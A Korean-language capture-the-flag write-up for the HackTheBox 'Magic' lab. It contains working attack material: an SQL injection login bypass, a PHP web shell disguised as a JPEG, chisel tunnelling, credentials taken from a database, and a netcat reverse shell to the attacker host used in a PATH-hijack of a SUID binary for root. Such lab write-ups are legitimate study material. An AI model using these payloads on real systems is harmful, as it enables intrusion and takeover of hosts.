INFORMATION GATHERING

NMAP - TCP PORTS

  • 22/tcp ssh
  • 80/tcp http
# Nmap 7.95 scan initiated Fri Aug  1 01:42:23 2025 as: /usr/lib/nmap/nmap -p- -sC -sV -Pn -n -T4 -oN tcpAllPorts 10.129.168.0
Nmap scan report for 10.129.168.0
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 

NMAP - UDP PORTS

  • 68/udp dhcpc
  • 631/udp ipp
  • 5353/udp zeroconf
# Nmap 7.95 scan initiated Fri Aug  1 01:42:39 2025 as: /usr/lib/nmap/nmap -sU -sV -Pn -n --top-ports 100 -oN udpTop100Ports 10.129.168.0
Nmap scan report for 10.129.168.0
Host is up (0.27s latency).
Not shown: 97 closed udp ports (port-unreach)
PORT     STATE         SERVICE  VERSION
68/udp   open|filtered dhcpc
631/udp  open|filtered ipp
5353/udp open|filtered zeroconf
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug  1 01:46:23 2025 -- 1 IP address (1 host up) scanned in 224.29 seconds
 

VULNERABLILITY ASSESSMENT

  • 80/tcp 포트에서 운영중인 웹 서비스의 로그인 페이지에서 SQLi 취약점이 존재했다.
    • username=admin'+or+1=1+#+&password=admin 구문을 통해 관리자(admin) 계정으로 접속에 성공했다.
POST /login.php HTTP/1.1
Host: 10.129.168.0
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://10.129.168.0
Connection: keep-alive
Referer: http://10.129.168.0/login.php
Cookie: PHPSESSID=rlbuo3gq1fo6kfi6k43303iuk5
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=admin'+or+1=1+#+&password=admin

  • admin 계정으로 로그인 성공 후 upload.php 페이지로 접근 가능했다.

  • 서버 측에서 JPG, JPEG, PNG 확장자만 업로드가 가능하도록 설정되어 있었다.
    • 파일 시그니처 검증 우회를 통해 악성 파일 업로드를 시도한다.
┌──(root㉿kali)-[/htb/magic/recon]
└─# echo 'FFD8FFDB' | xxd -p -r > ws.php.jpg
┌──(root㉿kali)-[/htb/magic/recon]
└─# echo '<?=`$_GET[0]`?>' >> ws.php.jpg



INITIAL ACCESS

  • Burp Suite Repeater 사용하여 리버스 쉘 연결 시도
    • 접속은 성공하였으나, 플래그(user.txt)는 읽기 권한이 없어 확인하지 못하였다.
      • -r-------- 1 theseus theseus 33 Jul 31 18:39 user.txt

LATERAL MOVEMENT

  • 로컬호스트에서 동작하는 데이터베이스 계정정보(theseus / iamkingtheseus) 획득
cat db.php5 
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

  • 대상 호스트의 내부에서 3306 포트가 실행중임을 확인하였다.
www-data@magic:/var/www/Magic$ netstat -antp
netstat -antp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                   
tcp        0    299 10.129.168.0:54578      10.10.14.111:443        ESTABLISHED 2596/bash           
tcp        0      1 10.129.168.0:37878      8.8.8.8:53              SYN_SENT    -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:631                 :::*                    LISTEN      -                   
tcp6       1      0 10.129.168.0:80         10.10.14.111:57536      CLOSE_WAIT  -

REVERSE REMOTE PORT FORWARDING

# chisel server
┌──(root㉿kali)-[/home/kali/Desktop/chisel]
└─# ./chisel server -p 9001 --reverse
2025/08/01 10:47:49 server: Reverse tunnelling enabled
2025/08/01 10:47:49 server: Fingerprint MIa16J9bkCJyOhId8fcBotjCMmOxHgp5gJSPCIAHpnQ=
2025/08/01 10:47:49 server: Listening on http://0.0.0.0:9001
2025/08/01 10:48:41 server: session#1: tun: proxy#R:9000=>3306: Listening
 
# chisel client
www-data@magic:/tmp$ ./chisel client 10.10.14.111:9001 R:9000:127.0.0.1:3306
./chisel client 10.10.14.111:9001 R:9000:127.0.0.1:3306
2025/08/01 03:48:41 client: Connecting to ws://10.10.14.111:9001
2025/08/01 03:48:43 client: Connected (Latency 470.122502ms)

  • 대상 호스트의 3306 포트에서 실행중인 MySQL 서버로 접속하여 magic.htb 도메인의 관리자 계정정보 획득
    • admin / Th3s3usW4sK1ng
┌──(root㉿kali)-[/htb]                                                                                 
└─# mysql -P 9000 -u 'theseus' -p --skip-ssl-verify-server-cert                                        
Enter password:
 
[ . . . ]
 
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Magic              |
+--------------------+
 
[ . . . ]
 
MySQL [(none)]> use Magic;
 
[ . . . ]
 
MySQL [Magic]> show tables;
+-----------------+
| Tables_in_Magic |
+-----------------+
| login           |
+-----------------+
 
[ . . . ]
 
MySQL [Magic]> select * from login;
+----+----------+----------------+
| id | username | password       |
+----+----------+----------------+
|  1 | admin    | Th3s3usW4sK1ng |
+----+----------+----------------+
1 row in set (0.304 sec)

  • 대상 호스트의 MySQL 서버(3306)에 접근하여 admin / Th3s3usW4sK1ng 정보를 확인하였으며,
    • 이 과정에서 획득한 패스워드(Th3s3usW4sK1ng)로 theseus 계정 접속이 가능하였다.
www-data@magic:/etc/mysql/mysql.conf.d$ su theseus
                                        su theseus
su theseus
Password: Th3s3usW4sK1ng
          Th3s3usW4sK1ng
 
theseus@magic:/etc/mysql/mysql.conf.d$


PRIVILEGE ESCALATION

  • SUID 비트가 활성화 된 바이너리 중 users 그룹에게 실행 권한이 있는 바이너리를 발견하였다.
theseus@magic:/bin$ find / -type f -perm -4000 2>/dev/null
[ . . . ]
/bin/sysinfo
 
[ . . . ]
theseus@magic:/bin$ ls -alh /bin | grep -i sysinfo
                    ls -alh /bin | grep -i sysinfo
ls -alh /bin | grep -i sysinfo
-rwsr-x---  1 root users  22K Oct 21  2019 sysinfo
 
[ . . .]

  • strings /bin/sysinfo 실행하여 sysinfo 에서 실행되는 바이너리 정보 확인
    • Hardware Info = lshw -short
    • Disk Info = fdisk -l
    • CPU Info = cat /proc/cpuinfo
theseus@magic:/tmp$ strings /bin/sysinfo
====================Hardware Info====================    
lshw -short                                                                                                       
====================Disk Info====================                                                                 
fdisk -l                                                 
====================CPU Info====================         
cat /proc/cpuinfo                                                                                                 
====================MEM Usage=====================

  • 위 바이너리들의 위치 확인
theseus@magic:/tmp$ which lshw
                    which lshw
which lshw
/usr/bin/lshw
theseus@magic:/tmp$ which fdisk
                    which fdisk
which fdisk
/sbin/fdisk
theseus@magic:/tmp$ which cat
                    which cat
which cat
/bin/cat

  • 시스템 기본 환경 변수(export) 설정 값을 확인하여 명령어가 실행되는 기본 PATH 확인
theseus@magic:/tmp$ export
[ . . .]
declare -x PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"

  • /tmp 폴더에 악성 페이로드가 담긴 익스플로잇 바이너리 생성
theseus@magic:/tmp$ echo "/bin/busybox nc 10.10.14.111 9002 -e /bin/bash" > lshw
theseus@magic:/tmp$ chmod +x lshw

  • 환경변수 PATH 값의 가장 맨 앞에 /tmp 경로를 추가한다.
    • 특정 바이너리가 실행될 때, 바이너리 이름만 입력하면 PATH의 맨 앞 경로부터 순차적으로 순회하며 해당 경로에 동일한 바이너리 이름이 존재하면 실행하는 원리로 동작하기 때문에 악용이 가능하다.
theseus@magic:/tmp$ export PATH=/tmp:$PATH
theseus@magic:/tmp$ export
[ . . . ]
declare -x PATH="/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"
 
[ . . . ]
┌──(root㉿kali)-[/home/kali/Desktop/tools]
└─# rlwrap nc -lvnp 9002
 
theseus@magic:/tmp$ /bin/sysinfo

  • 변조된 바이너리(/bin/sysinfo) 실행 시 루트 계정으로 리버스 쉘이 연결된다.
  • 이후 루트 계정으로 루트 플래그 확인에 성공했다. (/root/root.txt)

WALKTHROUGH

    1. SUID 바이너리 확인 시 /bin/sysinfo 바이너리가 확인 (SUID 설정)
    1. strings 바이너리로 /bin/sysinfo 바이너리 분석 (아래 3가지 바이너리 실행되고 있었음)
    • lshw -short, fdisk -l, cat /proc/cpuinfo
    1. lshw, fdisk, cat 바이너리 중 악성 페이로드 삽입할 바이너리 1개 선택
    1. 리버스 쉘 코드가 담긴 악성 바이너리(나는 lshw 를 선택했다.)를 제작
    1. 환경변수 PATH의 맨 앞에 /tmp 경로를 추가하고 /tmp 경로에 악성 바이너리(lshw)를 추가
    1. 공격자 호스트에서 리버스 쉘 리스닝 포트 개방하고 타겟에서 /bin/sysinfo 바이너리 실행
    1. /bin/sysinfo 실행 시 내부적으로 lshw -short 실행
    • lshw 바이너리는 환경변수(PATH) 설정에 의해 /tmp 폴더에 있는 /tmp/lshw 우선 실행
    • /tmp/lshw 바이너리 내 악성 페이로드(리버스쉘) 실행 → 공격자는 타겟 호스트의 쉘 획득 (최초에 /bin/sysinfo 가 root 권한으로 실행되기 때문에 /bin/sysinfo 내부에서 사용 및 실행되는 바이너리도 모두 루트 권한으로 실행되므로 root 쉘 획득 가능함)